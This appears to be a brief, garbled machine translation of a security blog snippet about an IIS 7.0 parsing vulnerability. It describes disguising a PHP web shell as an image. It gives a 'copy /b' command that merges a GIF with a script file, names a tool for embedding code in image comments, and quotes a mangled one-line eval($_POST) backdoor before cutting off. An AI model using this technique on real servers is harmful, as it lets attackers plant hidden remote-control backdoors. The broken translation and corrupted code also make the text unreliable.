IIS7. 0 website, the exploit and the Fix-vulnerability warning-the black bar safety net

To the currently popular PHP as an example: To merge a PHP word pictures of horses, the combined method: ① , DOS merge: copy 1.gif /b + 1. txt/a php.gif ② , With edjpgcom, make picture and word Trojan of the merger, remark Code of? php eval$POSTmeckun;?& gt; Pictures just to find one...